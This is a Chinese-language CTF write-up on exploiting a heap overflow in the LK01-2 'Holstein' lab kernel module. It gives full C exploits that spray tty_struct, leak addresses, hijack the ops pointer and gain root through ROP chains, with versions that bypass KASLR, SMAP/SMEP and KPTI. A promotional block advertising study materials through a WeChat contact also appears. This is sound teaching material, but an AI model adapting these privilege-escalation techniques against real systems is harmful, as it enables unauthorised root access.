前言
用户进程会通过malloc
等函数进行动态内存分配相应的内核也有一套动态的内存分配机制。
内核中的内存分配
有两种类型的计算机并且使用不同的方法管理物理内存
- UMA计算机:每个处理器访问内存的速度一直
- NUMA计算机:每个处理器访问自己的本地内存速度较快,但是访问其他处理器的本地内存会相对较慢
首先将内存划为为结点,每个结点与一个处理器进行关联,因此上图的与处理器关联的内存都被视作为结点。结点使用pg_data_t
结构体进行表示。并且结点与结点之间是通过链表进行链接的。
结点进一步划分为多个域,域使用zone_type
枚举类型表示。
域进一步细化为页为单位的内存进行划分。页则使用page
数据结构进行表示。
虽然内核中使用了伙伴算法对页框进行管理,但是由于页的单位一般是4096,倘若只想申请部分内存,但是直接分配一页的大小会浪费资源。因此内核使用了slab
分配器进行小内存的分配。
【----帮助网安学习,以下所有学习资料加vx:yj009991,备注“思否”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
slab
大致流程如下:
slab
不仅仅是作为分配器还有缓存的功能,因此在使用kmalloc
时会首先检索kmem_cache
是否存在空闲的内存,这一点与用户态下的ptmalloc
很相似。
LK01-2
项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-2/LK01-2
module_open
在执行open
模块时会使用kmalloc
进行动态内存分配,因此会使用到上述所说的slab
分配器。
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");
g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}
return 0;
}
module_read
在执行read
模块时会从内核堆地址中拷贝信息到用户空间中去,但是这里的拷贝没有对长度做限制,因此存在着越界读的漏洞。
static ssize_t module_read(struct file *file,
char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_read called\n");
if (copy_to_user(buf, g_buf, count)) {
printk(KERN_INFO "copy_to_user failed\n");
return -EINVAL;
}
return count;
}
module_write
在执行write
模块时会将用户空间的数据拷贝到内核堆空间中,由于没有做长度的限制,因此存在着内核堆溢出的漏洞。
static ssize_t module_write(struct file *file,
const char __user *buf, size_t count,
loff_t *f_pos)
{
printk(KERN_INFO "module_write called\n");
if (copy_from_user(g_buf, buf, count)) {
printk(KERN_INFO "copy_from_user failed\n");
return -EINVAL;
}
return count;
}
堆溢出的利用
由于内核分配动态内存是通过slab
分配器,slab
分配器会优先从缓存中取出,题目给会通过open
模块分配一个0x400
的堆块。因此会从kmalloc-1024
中取出堆块。可以看到0x400
的堆块能够写入超过0x400
的数据。但是这种堆溢出不会影响程序正常执行。这是因为紧接着的堆块没有存储函数指针。
因此如果需要劫持程序的执行流程,则需要使得存在一个堆块内部存放着函数指针并且在构造的堆块的后方。而内核的许多重要的结构体都是通过堆进行分配,而且这些结构体需要经常创建与释放,因此这些结构体也会通过kmalloc-1024
中取出堆块。因此在内核堆块的利用需要熟悉内核中一些包含函数指针的对象的大小。而tty_struct
的结构体的大小刚好处于kmalloc-1024
的范围内。
struct tty_struct {
int magic;
struct kref kref;
struct device *dev; /* class device or NULL (e.g. ptys, serdev) */
struct tty_driver *driver;
const struct tty_operations *ops;
...
} __randomize_layout;
可以看到tty_struct
结构体会存在ops
的操作指针,对tty
的操作都会调用该函数指针。
https://ptr--yudai-hatenablog-com.translate.goog/entry/2020/0...中统计了一下常用的结构体。
由于我们不清楚在执行open
模块的时候分配的堆块是否会在tty
结构体的上方,因此需要使用堆喷将tty
结构体充满在open
模块申请的堆块的附近。
int spray[100];
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
int fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
ptmx
文件是用于打开伪终端主设备文件,该文件则是通过上述的tty
结构体进行表示O_NOCTTY
则是用于防止当前进程将打开的终端设备作为其控制终端
对过上述操作在能使得open
模块操作分配的堆空间是在tty
结构体所分配的空间的周围的。如下图所示能够看到将tty
结构体分配在g_buf
(open
模块分配的堆块)的下方
该操作指针中存放着许多函数地址
将该结构体覆盖为无效值
通过ioctl
操作触发函数指针
ioctl(spray[i], 0x1234, 0x1234);
ioctl
是一个用于在Linux系统中进行设备控制和配置的系统调用,它允许用户态程序与设备驱动程序进行通信以进行各种操作。因此执行ioctl
函数实际是会调用ops
指向的函数表。但是接着执行内核并不会发生崩溃,这里我猜测是在ioctl
函数执行流程中会检测ops
指针的有效性。
但是单单修改函数表内的函数地址,则会引起崩溃。
崩溃地址正是我们修改的值。
因此梳理一下针对该题堆溢出利用的条件
- 利用堆喷使得漏洞堆块处于
tty
结构体堆块的上方 - 利用堆溢出将
ops
指针修改为可控的内核堆地址并在该地址中填充函数地址
没有开启保护
经过测试,在没有开启kaslr的情况下g_buf
对应的堆地址也是会改变的,因此需要进行泄露计算出g_buf
的地址。由于g_buf
处于内核地址,因此可以触发ioctl
,这里我使用了用户空间的堆块地址,但是无法触发,因此猜测ioctl
需要检验ops
指针值是否为内核地址。
并且在tty
结构体中存储了堆块的地址,因此可以通过越界读泄露堆地址。
通过read
模块泄露堆地址
...
char buf[0x500];
read(fd, buf, 0x500);
unsigned long * p = (unsigned long *)&buf;
for (int i = 0; i < 0xa0; i++)
printf("[0x%x] 0x%lx\n",i ,p[i]);
...
这里需要注意的是我们尽可能选择与g_buf
地址相近的堆地址,因为slab
分配器会分配连续的内存,因此在附近的地址可以计算出真正的偏移。
泄露出堆地址后还需要解决一个问题是ioctl
函数会执行函数表的哪个函数指针,因此我们需要劫持ops
指针为g_buf
,然后在g_buf
填充有规律的垃圾数据,判断函数指针的位置。
...
unsigned long heap = p[0x9f];
printf("heap:0x%lx\n", heap);
unsigned long g_buf = heap - 0x4f8 ;
printf("g_buf:0x%lx\n", g_buf);
for (unsigned long i = 0; i < 0x80; i++)
p[i] = i;
*(unsigned long *)&buf[0x418] = g_buf;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
}
...
可以看到在函数表中的偏移为0xc
,该地址填充的值会被用作处理ioctl
函数的操作。
由于题目没有开启任何保护,接下来就是ret2usr
即可
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nosmap nosemp nokaslr nopti" \
-no-reboot \
-cpu qemu64 \
-smp 1 \
-monitor /dev/null \
-initrd initramfs.cpio.gz\
-net nic,model=virtio \
-net user \
-s
exp
这里需要对所有伪终端执行ioctl
操作,这是因为我们不能判断具体覆盖了哪个tty
的结构体。
#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
/*
0xffffffff81074650 T prepare_kernel_cred
0xffffffff810744b0 T commit_creds
*/
unsigned long user_cs, user_sp, user_ss, user_rflags;
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n\n", user_rflags);
}
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
unsigned long user_rip = (unsigned long)backdoor;
void lpe()
{
__asm(
".intel_syntax noprefix;"
"movabs rax, 0xffffffff81074650;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax;" //prepare_kernel_cred(0);
"mov rdi, rax;"
"mov rax, 0xffffffff810744b0;" //commit_creds
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
int main() {
save_user_land();
int spray[100];
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
int fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
char buf[0x500];
read(fd, buf, 0x500);
unsigned long * p = (unsigned long *)&buf;
//for (int i = 0; i < 0xa0; i++)
//printf("[0x%x] 0x%lx\n",i ,p[i]);
unsigned long heap = p[0x9f];
printf("heap:0x%lx\n", heap);
unsigned long g_buf = heap - 0x4f8 ;
printf("g_buf:0x%lx\n", g_buf);
p[0xc] = lpe;
*(unsigned long *)&buf[0x418] = g_buf;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
}
}
开启KASLR
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nosmap nosemp nopti kaslr" \
-no-reboot \
-cpu qemu64 \
-smp 1 \
-monitor /dev/null \
-initrd initramfs.cpio.gz\
-net nic,model=virtio \
-net user \
-s
exp
开启KASLR
的解法与没开启保护的情况基本一致,只需要多泄露一个内核地址即可。
#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
#define prepare_kernel_cred_offset 0x74650
#define commit_creds_offset 0x744b0
unsigned long kernel_base;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
unsigned long user_cs, user_sp, user_ss, user_rflags;
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n\n", user_rflags);
}
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
unsigned long user_rip = (unsigned long)backdoor;
void lpe()
{
prepare_kernel_cred = kernel_base + prepare_kernel_cred_offset;
commit_creds = kernel_base + commit_creds_offset;
__asm(
".intel_syntax noprefix;"
"movabs rax, prepare_kernel_cred;" //prepare_kernel_cred
"xor rdi, rdi;"
"call rax;" //prepare_kernel_cred(0);
"mov rdi, rax;"
"mov rax, commit_creds;" //commit_creds
"call rax;"
"swapgs;"
"mov r15, user_ss;"
"push r15;"
"mov r15, user_sp;"
"push r15;"
"mov r15, user_rflags;"
"push r15;"
"mov r15, user_cs;"
"push r15;"
"mov r15, user_rip;"
"push r15;"
"iretq;"
".att_syntax;"
);
}
int main() {
save_user_land();
int spray[100];
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
int fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
char buf[0x500];
read(fd, buf, 0x500);
unsigned long * p = (unsigned long *)&buf;
//for (int i = 0; i < 0xa0; i++)
// printf("[0x%x] 0x%lx\n",i ,p[i]);
unsigned long heap = p[0x9f];
printf("heap:0x%lx\n", heap);
unsigned long g_buf = heap - 0x4f8 ;
printf("g_buf:0x%lx\n", g_buf);
unsigned long kernel_addr = p[0x83];
printf("kernel_addr:0x%lx\n", kernel_addr);
kernel_base = kernel_addr - 0xc38880;
printf("kernel_base:0x%lx\n", kernel_base);
p[0xc] = lpe;
*(unsigned long *)&buf[0x418] = g_buf;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], 0xdeadbeef, 0xcafebabe);
}
}
开启SMAP与SMEP
SMAP
与SMEP
会防止内核访问与执行用户空间的地址,但是由于该题本身是修改在堆块内的指针值无法在堆块内部构造ROP链,那么想要执行ROP链那么需要将栈迁移到堆上。但是由于我们的输入不在栈上,而是在堆上,无法通过pop rbp;ret;
与mov rsp,rbp
去修改栈顶值。这里需要注意到,当通过ioctl
函数时,我们的参数值实际也会被传递进去。如下图所示。
因此需要通过根据这几个寄存器修改栈顶的操作
cat g | grep -E "push rdx;.* pop rsp;.* ret"
该gadget
可以将rax
的值移动到rdi
的值,但是需要经过rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
,该汇编语言实际是循环将rsi
指向的值存放到rdi
中,并且循环此为由rcx
寄存器指定,因此将rcx
寄存器设置为0即可跳过该操作。
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti kaslr" \
-no-reboot \
-cpu qemu64,+smap,+smep \
-smp 1 \
-monitor /dev/null \
-initrd initramfs.cpio.gz\
-net nic,model=virtio \
-net user \
-s
exp
#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
/*
0xffffffff810d748d: pop rdi; ret;
0xffffffff81022dff: iretq; pop rbp; ret;
0xffffffff8162668e: swapgs; ret;
0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;
0xffffffff8162707b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
0xffffffff8109c39e: pop rsi; ret;
0xffffffff8113c1c4: pop rcx; ret;
*/
#define prepare_kernel_cred_offset 0x74650
#define commit_creds_offset 0x744b0
#define pop_rdi_offset 0xd748d
#define iretq_pop_rbp_offset 0x22dff
#define push_rax_ret_offset 0x24819
#define push_rdx_pop_rsp_ret_offset 0x3a478a
#define mov_rdi_rax_ret_offset 0x62707b
#define swapgs 0x62668e
#define pop_rsi 0x9c39e
#define pop_rcx 0x13c1c4
unsigned long kernel_base;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
unsigned long user_cs, user_sp, user_ss, user_rflags;
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n\n", user_rflags);
}
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
int main() {
save_user_land();
int spray[100];
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
int fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
char buf[0x500];
read(fd, buf, 0x500);
unsigned long * p = (unsigned long *)&buf;
//for (int i = 0; i < 0xa0; i++)
// printf("[0x%x] 0x%lx\n",i ,p[i]);
unsigned long heap = p[0x9f];
printf("heap:0x%lx\n", heap);
unsigned long g_buf = heap - 0x4f8 ;
printf("g_buf:0x%lx\n", g_buf);
unsigned long kernel_addr = p[0x83];
printf("kernel_addr:0x%lx\n", kernel_addr);
kernel_base = kernel_addr - 0xc38880;
printf("kernel_base:0x%lx\n", kernel_base);
p[0x22] = pop_rdi_offset + kernel_base;
p[0x23] = 0;
p[0x24] = prepare_kernel_cred_offset + kernel_base;
p[0x25] = pop_rcx + kernel_base;
p[0x26] = 0;
p[0x27] = mov_rdi_rax_ret_offset + kernel_base;
p[0x28] = commit_creds_offset + kernel_base;
p[0x29] = swapgs + kernel_base;
p[0x2a] = iretq_pop_rbp_offset + kernel_base;
p[0x2b] = (unsigned long)backdoor;
p[0x2c] = user_cs;
p[0x2d] = user_rflags;
p[0x2e] = user_sp;
p[0x2f] = user_ss;
*(unsigned long *)&buf[0x418] = g_buf;
p[0xc] = p[0xc] = kernel_base + push_rdx_pop_rsp_ret_offset;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], g_buf+0x100, g_buf+0x100);
}
}
开启kpti
run.sh
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 kpti=1 kaslr" \
-no-reboot \
-cpu qemu64,+smap,+smep \
-smp 1 \
-monitor /dev/null \
-initrd initramfs.cpio.gz\
-net nic,model=virtio \
-net user \
-s
exp
kpti
的绕过也与普通的一致,使用swapgs_restore_regs_and_return_to_usermode
的gadget
即可
#include <stdio.h>
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdlib.h>
/*
0xffffffff810d748d: pop rdi; ret;
0xffffffff81022dff: iretq; pop rbp; ret;
0xffffffff8162668e: swapgs; ret;
0xffffffff813a478a: push rdx; mov ebp, 0x415bffd9; pop rsp; pop r13; pop rbp; ret;
0xffffffff8162707b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
0xffffffff8109c39e: pop rsi; ret;
0xffffffff8113c1c4: pop rcx; ret;
0xffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
*/
#define prepare_kernel_cred_offset 0x74650
#define commit_creds_offset 0x744b0
#define pop_rdi_offset 0xd748d
#define iretq_pop_rbp_offset 0x22dff
#define push_rax_ret_offset 0x24819
#define push_rdx_pop_rsp_ret_offset 0x3a478a
#define mov_rdi_rax_ret_offset 0x62707b
#define swapgs 0x62668e
#define pop_rsi 0x9c39e
#define pop_rcx 0x13c1c4
#define swapgs_restore_regs_and_return_to_usermode 0x800e10
unsigned long kernel_base;
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
unsigned long user_cs, user_sp, user_ss, user_rflags;
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n\n", user_rflags);
}
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
int main() {
save_user_land();
int spray[100];
for (int i = 0; i < 50; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
int fd = open("/dev/holstein", O_RDWR);
for (int i = 50; i < 100; i++)
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
char buf[0x500];
read(fd, buf, 0x500);
unsigned long * p = (unsigned long *)&buf;
//for (int i = 0; i < 0xa0; i++)
// printf("[0x%x] 0x%lx\n",i ,p[i]);
unsigned long heap = p[0x9f];
printf("heap:0x%lx\n", heap);
unsigned long g_buf = heap - 0x4f8 ;
printf("g_buf:0x%lx\n", g_buf);
unsigned long kernel_addr = p[0x83];
printf("kernel_addr:0x%lx\n", kernel_addr);
kernel_base = kernel_addr - 0xc38880;
printf("kernel_base:0x%lx\n", kernel_base);
p[0x22] = pop_rdi_offset + kernel_base;
p[0x23] = 0;
p[0x24] = prepare_kernel_cred_offset + kernel_base;
p[0x25] = pop_rcx + kernel_base;
p[0x26] = 0;
p[0x27] = mov_rdi_rax_ret_offset + kernel_base;
p[0x28] = commit_creds_offset + kernel_base;
p[0x29] = swapgs_restore_regs_and_return_to_usermode + kernel_base + 0x16;
p[0x2a] = 0;
p[0x2b] = 0;
p[0x2c] = (unsigned long)backdoor;
p[0x2d] = user_cs;
p[0x2e] = user_rflags;
p[0x2f] = user_sp;
p[0x30] = user_ss;
*(unsigned long *)&buf[0x418] = g_buf;
p[0xc] = p[0xc] = kernel_base + push_rdx_pop_rsp_ret_offset;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], g_buf+0x100, g_buf+0x100);
}
}
更多网安技能的在线实操练习,请点击这里>>
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。